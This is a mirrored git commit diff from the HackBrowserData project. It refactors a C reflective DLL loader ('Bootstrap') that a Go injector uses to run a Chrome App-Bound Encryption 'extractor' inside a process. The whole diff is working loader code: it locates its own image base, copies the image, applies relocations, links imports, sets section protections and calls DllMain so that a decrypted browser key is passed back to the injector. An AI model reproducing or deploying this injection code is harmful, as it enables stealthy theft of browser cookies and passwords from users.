mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-07-06 21:37:47 +02:00
refactor(windows): clean up Chrome ABE module (#574)
* refactor(abe): remove --abe-key flag and its global state * refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
@@ -1,5 +1,3 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <stddef.h>
|
||||
@@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
|
||||
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
typedef struct {
|
||||
pfn_LoadLibraryA LoadLibraryA;
|
||||
pfn_GetProcAddress GetProcAddress;
|
||||
pfn_VirtualAlloc VirtualAlloc;
|
||||
pfn_VirtualProtect VirtualProtect;
|
||||
pfn_NtFlushInstructionCache NtFlushInstructionCache;
|
||||
} resolved_imports;
|
||||
|
||||
#define MARK(imgBase, step) do { \
|
||||
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
|
||||
} while (0)
|
||||
@@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
|
||||
return (ULONG_PTR)__builtin_return_address(0);
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
// locate_own_image_base walks backwards from the return IP of the calling
|
||||
// frame until it hits a valid MZ/PE header. Must not be inlined (see
|
||||
// get_caller_ip above).
|
||||
static ULONG_PTR locate_own_image_base(void)
|
||||
{
|
||||
ULONG_PTR imageBase = get_caller_ip();
|
||||
while (imageBase > 0) {
|
||||
@@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
if (lfanew > 0 && lfanew < 0x1000) {
|
||||
PIMAGE_NT_HEADERS64 nt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase;
|
||||
}
|
||||
}
|
||||
imageBase--;
|
||||
}
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
return 0;
|
||||
}
|
||||
|
||||
pfn_LoadLibraryA pLoadLibraryA =
|
||||
// read_preresolved_imports pulls the five function pointers the Go injector
|
||||
// patched into the payload's DOS stub (see patchPreresolvedImports on the
|
||||
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
|
||||
// mismatch between C and Go.
|
||||
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
|
||||
{
|
||||
out->LoadLibraryA =
|
||||
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
|
||||
pfn_GetProcAddress pGetProcAddress =
|
||||
out->GetProcAddress =
|
||||
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
|
||||
pfn_VirtualAlloc pVirtualAlloc =
|
||||
out->VirtualAlloc =
|
||||
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
|
||||
pfn_VirtualProtect pVirtualProtect =
|
||||
out->VirtualProtect =
|
||||
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
|
||||
pfn_NtFlushInstructionCache pNtFlushIC =
|
||||
out->NtFlushInstructionCache =
|
||||
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
|
||||
|
||||
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
|
||||
!pVirtualProtect || !pNtFlushIC) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
|
||||
out->VirtualProtect && out->NtFlushInstructionCache;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
// allocate_and_copy_image reserves a fresh RW region and copies the raw
|
||||
// payload bytes (headers + every section) into it. Returns the new base
|
||||
// plus a pointer to the NT headers within the new image, or NULL on
|
||||
// VirtualAlloc failure.
|
||||
static BYTE *allocate_and_copy_image(ULONG_PTR oldBase,
|
||||
const resolved_imports *imp,
|
||||
PIMAGE_NT_HEADERS64 *outNewNt)
|
||||
{
|
||||
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase;
|
||||
PIMAGE_NT_HEADERS64 oldNt =
|
||||
(PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
|
||||
|
||||
BYTE *newBase = (BYTE *)pVirtualAlloc(
|
||||
BYTE *newBase = (BYTE *)imp->VirtualAlloc(
|
||||
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
if (!newBase) return NULL;
|
||||
|
||||
BYTE *headerSrc = (BYTE *)imageBase;
|
||||
BYTE *headerSrc = (BYTE *)oldBase;
|
||||
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
|
||||
for (DWORD i = 0; i < headerSize; i++) {
|
||||
newBase[i] = headerSrc[i];
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
|
||||
BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData;
|
||||
BYTE *sDst = newBase + sec[i].VirtualAddress;
|
||||
DWORD raw = sec[i].SizeOfRawData;
|
||||
for (DWORD j = 0; j < raw; j++) {
|
||||
sDst[j] = sSrc[j];
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt =
|
||||
*outNewNt =
|
||||
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
|
||||
return newBase;
|
||||
}
|
||||
|
||||
// apply_base_relocations fixes up 64-bit absolute address references in
|
||||
// the copied image if the new base differs from the preferred ImageBase.
|
||||
static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
|
||||
{
|
||||
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
|
||||
DWORD relocSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
DWORD relocRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
if (delta != 0 && relocSize > 0 && relocRva > 0) {
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
if (delta == 0 || relocSize == 0 || relocRva == 0) return;
|
||||
|
||||
PIMAGE_BASE_RELOCATION reloc =
|
||||
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
|
||||
DWORD consumed = 0;
|
||||
while (reloc->VirtualAddress && consumed < relocSize) {
|
||||
DWORD count =
|
||||
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries =
|
||||
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD j = 0; j < count; j++) {
|
||||
WORD type = entries[j] >> 12;
|
||||
WORD offset = entries[j] & 0x0FFF;
|
||||
if (type == IMAGE_REL_BASED_DIR64) {
|
||||
ULONG_PTR *target = (ULONG_PTR *)(newBase +
|
||||
reloc->VirtualAddress + offset);
|
||||
*target += (ULONG_PTR)delta;
|
||||
}
|
||||
}
|
||||
consumed += reloc->SizeOfBlock;
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
// link_iat resolves the Import Address Table for each DLL the payload
|
||||
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
|
||||
// Go injector patched in.
|
||||
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
DWORD impSize = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
DWORD impRva = newNt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (impSize > 0 && impRva > 0) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (imp->Name) {
|
||||
const char *modName = (const char *)(newBase + imp->Name);
|
||||
HMODULE hMod = pLoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = imp->OriginalFirstThunk
|
||||
? imp->OriginalFirstThunk : imp->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = pGetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = pGetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
imp++;
|
||||
}
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
if (impSize == 0 || impRva == 0) return;
|
||||
|
||||
sec = IMAGE_FIRST_SECTION(newNt);
|
||||
PIMAGE_IMPORT_DESCRIPTOR desc =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
|
||||
while (desc->Name) {
|
||||
const char *modName = (const char *)(newBase + desc->Name);
|
||||
HMODULE hMod = imp->LoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
DWORD origRva = desc->OriginalFirstThunk
|
||||
? desc->OriginalFirstThunk : desc->FirstThunk;
|
||||
PIMAGE_THUNK_DATA origThunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + origRva);
|
||||
PIMAGE_THUNK_DATA thunk =
|
||||
(PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk);
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC fn;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
fn = imp->GetProcAddress(hMod,
|
||||
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
|
||||
(newBase + origThunk->u1.AddressOfData);
|
||||
fn = imp->GetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = (ULONG_PTR)fn;
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
desc++;
|
||||
}
|
||||
}
|
||||
|
||||
// set_section_protections applies final per-section memory protections
|
||||
// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags.
|
||||
static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
const resolved_imports *imp)
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt);
|
||||
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD newProtect = PAGE_READONLY;
|
||||
DWORD ch = sec[i].Characteristics;
|
||||
@@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
DWORD oldProtect = 0;
|
||||
pVirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
imp->VirtualProtect(newBase + sec[i].VirtualAddress,
|
||||
sec[i].Misc.VirtualSize,
|
||||
newProtect, &oldProtect);
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
}
|
||||
|
||||
pNtFlushIC((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
// lpReserved carries the original raw-image base so DllMain can write
|
||||
// the decrypted key back into the scratch region the Go injector reads.
|
||||
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
|
||||
// lpReserved carries the original raw-image base so DllMain (= the ABE
|
||||
// extractor entry) can write the decrypted key back into the scratch
|
||||
// region the Go injector reads.
|
||||
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
|
||||
ULONG_PTR scratchBase)
|
||||
{
|
||||
pfn_DllMain pDllMain =
|
||||
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
|
||||
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase);
|
||||
return (ULONG_PTR)newBase;
|
||||
}
|
||||
|
||||
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
|
||||
{
|
||||
ULONG_PTR imageBase = locate_own_image_base();
|
||||
if (imageBase == 0) return 0;
|
||||
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
|
||||
|
||||
resolved_imports imp;
|
||||
if (!read_preresolved_imports(imageBase, &imp)) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
|
||||
|
||||
PIMAGE_NT_HEADERS64 newNt;
|
||||
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
|
||||
if (!newBase) {
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
|
||||
return 0;
|
||||
}
|
||||
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
|
||||
|
||||
apply_base_relocations(newBase, newNt);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
|
||||
|
||||
link_iat(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
|
||||
|
||||
set_section_protections(newBase, newNt, &imp);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
|
||||
|
||||
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
|
||||
|
||||
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
|
||||
MARK(imageBase, BOOTSTRAP_MARK_DONE);
|
||||
return result;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user